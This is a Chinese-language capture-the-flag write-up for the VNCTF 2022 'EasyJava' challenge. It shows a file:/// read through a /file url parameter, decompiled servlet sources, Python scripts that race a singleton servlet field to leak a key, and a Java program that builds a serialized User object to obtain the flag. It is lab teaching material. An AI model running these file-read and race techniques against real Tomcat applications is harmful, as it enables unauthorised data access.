[VNCTF] EasyJava

发布于 2022-03-16  28 次阅读


[VNCTF] EasyJava

一、拿到源码

首先拿到题目,查看源码发现了提示:/file?
进入/file文件发现需要提交一个url。由于前面提示用file进入,这个时候我们可以尝试用文件读取。

输入

?url=file:///

之后显示发现有一个flag,但是打开之后回报错,之后检索网站的根目录,Java中,网站根目录通常放在:usr/local/tomcat/webapps

?url=file:///usr/local/tomcat/webapps

发现有一个ROOT文件继续进入,发现:

index.html
META-INF
WEB-INF
  • META-INF

为了提供存档的便签信息,出现了Manifest.mf文件,jar文件中有一个特定的目录来存放标签信息:META-INF目录,主要应关注其中一个名叫manifest.mf的文件,它包含了jar文件的内容描述,在应用程序运行时向JVM提供应用程序的信息。
参考两位大佬的介绍:

https://blog.csdn.net/qq_38449518/article/details/82414069
https://blog.csdn.net/weixin_43203497/article/details/94842305
  • WEB-INF

WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

进入WEB-INF之后,我们把所有的文件都下载到本地。

  • 这里推荐一个在线Java反编译的网站
https://www.decompiler.com/

二、分析源码

  • Secr3t.java
package util;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;

public class Secr3t {
   private static final String Key = RandomStringUtils.randomAlphanumeric(32);
   private static StringBuffer Flag;

   private Secr3t() {
   }

   public static String getKey() {
      return Key;
   }

   public static StringBuffer getFlag() {
      Flag = new StringBuffer();
      InputStream in = null;

      try {
         in = Runtime.getRuntime().exec("/readflag").getInputStream();
      } catch (IOException var12) {
         var12.printStackTrace();
      }

      BufferedReader read = new BufferedReader(new InputStreamReader(in));

      try {
         String line = null;

         while((line = read.readLine()) != null) {
            Flag.append(line + "\n");
         }
      } catch (IOException var13) {
         var13.printStackTrace();
      } finally {
         try {
            in.close();
            read.close();
         } catch (IOException var11) {
            var11.printStackTrace();
            System.out.println("Secr3t : io exception!");
         }
      }
      return Flag;
   }

   public static boolean check(String checkStr) {
      return "vnctf2022".equals(checkStr);
   }
}

  • SerAndDe.java
package util;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class SerAndDe {
   private SerAndDe() {
   }

   public static byte[] serialize(Object object) {
      ObjectOutputStream oos = null;
      ByteArrayOutputStream bos = null;

      Object var4;
      try {
         bos = new ByteArrayOutputStream();
         oos = new ObjectOutputStream(bos);
         oos.writeObject(object);
         byte[] b = bos.toByteArray();
         byte[] var16 = b;
         return var16;
      } catch (IOException var14) {
         System.out.println("serialize Exception:" + var14.toString());
         var4 = null;
      } finally {
         try {
            if (oos != null) {
               oos.close();
            }

            if (bos != null) {
               bos.close();
            }
         } catch (IOException var13) {
            System.out.println("io could not close:" + var13.toString());
         }

      }

      return (byte[])var4;
   }

   public static Object deserialize(byte[] bytes) {
      ByteArrayInputStream bais = null;

      Object var3;
      try {
         bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ObjectInputStream(bais);
         var3 = ois.readObject();
         return var3;
      } catch (IOException | ClassNotFoundException var13) {
         System.out.println("deserialize Exception:" + var13.toString());
         var3 = null;
      } finally {
         try {
            if (bais != null) {
               bais.close();
            }
         } catch (IOException var12) {
            System.out.println("LogManage Could not serialize:" + var12.toString());
         }

      }

      return var3;
   }
}

  • UrlUtil.java
package util;

import java.io.InputStream;
import java.net.URL;

public class UrlUtil {
   private UrlUtil() {
   }

   public static InputStream visit(String url) throws Exception {
      URL file = new URL(url);
      InputStream inputStream = file.openStream();
      return inputStream;
   }
}

  • User.java
 package entity;

import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;

public class User implements Serializable {
   private String name;
   private String age;
   private transient String height;

   public User(String name, String age, String height) {
      this.name = name;
      this.age = age;
      this.height = height;
   }

   public String getName() {
      return this.name;
   }

   public void setName(String name) {
      this.name = name;
   }

   public String getAge() {
      return this.age;
   }

   public void setAge(String age) {
      this.age = age;
   }

   public String getHeight() {
      return this.height;
   }

   public void setHeight(String height) {
      this.height = height;
   }

   private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
      s.defaultReadObject();
      this.height = (String)s.readObject();
   }

   public boolean equals(Object obj) {
      if (obj == null) {
         return false;
      } else if (this == obj) {
         return true;
      } else if (obj instanceof User) {
         User user = (User)obj;
         return user.getAge().equals(this.age) && user.getHeight().equals(this.height) && user.getName().equals(this.name);
      } else {
         return false;
      }
   }

   public String toString() {
      return "User{name='" + this.name + '\'' + ", age='" + this.age + '\'' + ", height='" + this.height + '\'' + '}';
   }}
  • HelloWorldServlet.java
  package servlet;

import entity.User;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(
   name = "HelloServlet",
   urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
   private volatile String name = "m4n_q1u_666";
   private volatile String age = "666";
   private volatile String height = "180";
   User user;

   public void init() throws ServletException {
      this.user = new User(this.name, this.age, this.height);
   }

   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String reqName = req.getParameter("name");
      if (reqName != null) {
         this.name = reqName;
      }

      if (Secr3t.check(this.name)) {
         this.Response(resp, "no vnctf2022!");
      } else {
         if (Secr3t.check(this.name)) {
            this.Response(resp, "The Key is " + Secr3t.getKey());
         }

      }
   }

   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String key = req.getParameter("key");
      String text = req.getParameter("base64");
      if (Secr3t.getKey().equals(key) && text != null) {
         Decoder decoder = Base64.getDecoder();
         byte[] textByte = decoder.decode(text);
         User u = (User)SerAndDe.deserialize(textByte);
         if (this.user.equals(u)) {
            this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
         }
      } else {
         this.Response(resp, "KeyError");
      }

   }

   private void Response(HttpServletResponse resp, String outStr) throws IOException {
      ServletOutputStream out = resp.getOutputStream();
      out.write(outStr.getBytes());
      out.flush();
      out.close();
   }
  • FileServlet.java
    package servlet;

import java.io.IOException;
import java.io.InputStream;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import util.UrlUtil;

@WebServlet(
   name = "FileServlet",
   urlPatterns = {"/file"}
)
public class FileServlet extends HttpServlet {
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String url = req.getParameter("url");
      if (url != null) {
         InputStream responseContent = null;

         try {
            responseContent = UrlUtil.visit(url);
            IOUtils.copy(responseContent, resp.getOutputStream());
            resp.flushBuffer();
         } catch (Exception var9) {
            var9.printStackTrace();
         } finally {
            responseContent.close();
         }
      } else {
         this.Response(resp, "please input a url");
      }

   }

   private void Response(HttpServletResponse resp, String outStr) throws IOException {
      ServletOutputStream out = resp.getOutputStream();
      out.write(outStr.getBytes());
      out.flush();
      out.close();
   }
}

拿到源码,分析
FileServlet.java对应的是/file时访问的页面。

Secr3t.java中:StringBuffer getFlag()中有

在HelloWorldServlet.java中有两个重要的地方:
doGet中:有一个条件竞争

三、Servlet的线程安全问题:条件竞争

  • 什么是条件竞争:

当Tomcat接收到Client的HTTP请求时,Tomcat从线程池中取出一个线程,之后找到该请求对应的Servlet对象并进行初始化,之后调用service()方法。要注意的是每一个Servlet对象再Tomcat容器中只有一个实例对象,即是单例模式。如果多个HTTP请求请求的是同一个Servlet,那么这两个HTTP请求对应的线程将并发调用Servlet的service()方法。

Y4师傅的博客:https://blog.csdn.net/solitudi/article/details/122781947?spm=1001.2014.3001.5501
参考: https://blog.csdn.net/jdbc/article/details/40702555

条件竞争接口:

参考官方wp中:
条件竞争的方案:

  • a.py
import requests
host ="http://72b659b5-f34d-44ca-bee4-cdb51c9cce45.node4.buuoj.cn:81/"
while True:
    re =requests.get(host+"evi1?name=1234")
    re.encoding = "utf-8"
    if re.text.find("The Key is")!=-1:
        print(re.text)
    if re.text.replace(" ","")!="":
        print(re.text)

  • b.py
import requests
host ="http://72b659b5-f34d-44ca-bee4-cdb51c9cce45.node4.buuoj.cn:81/"
while True:
    re =requests.get(host+"evi1?name=vnctf2022")
    re.encoding = "utf-8"
    print(re.text)
    if re.text.find("The Key is")!=-1:
        print(re.text)


一个程序的方案:
参考

https://blog.csdn.net/weixin_43610673/article/details/122955074?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164610885416781683956455%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164610885416781683956455&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-2-122955074.pc_search_result_control_group&utm_term=susctf2022&spm=1018.2226.3001.4187
  • jinzheng.py
import requests
import threading
host = "http://72b659b5-f34d-44ca-bee4-cdb51c9cce45.node4.buuoj.cn:81/"
class myThread (threading.Thread):
    def __init__(self, name):
        threading.Thread.__init__(self)
        self.name = name
    def run(self):
        print ("开始线程:" + self.name)
        runing(self.name)
        print ("退出线程:" + self.name)
def runing(name):
    while True:
        r = requests.get(host+"/evi1?name=%s" % name)
        r.encoding = "utf-8"
        if r.text.find("The Key is")!=-1:
            print(r.text)
            return 0
# 创建新线程
thread1 = myThread("asdqwer")
thread2 = myThread("vnctf2022")
# 开启新线程
thread1.start()
thread2.start()
thread1.join()
thread2.join()

四、构造反序列化

满足User类构造一个反序列化即可:

但是要注意的一个点是:

transient关键字修饰的变量无法直接反序列化,所以在生产byte的时候要重写一下writeObject,否则生产的height的值是空

package Payload;

import entity.User;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import util.SerAndDe;

public class Ser {
    public static void main(String[] args) throws IOException {
        User user = new User("m4n_q1u_666","666","180");
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(user);

        byte[] ser = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String encodedText = encoder.encodeToString(ser);
        System.out.println(encodedText);
        User user2 = (User) SerAndDe.deserialize(ser);
        System.out.println(user2);
    }}

最后添加key和base64字符串即可


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”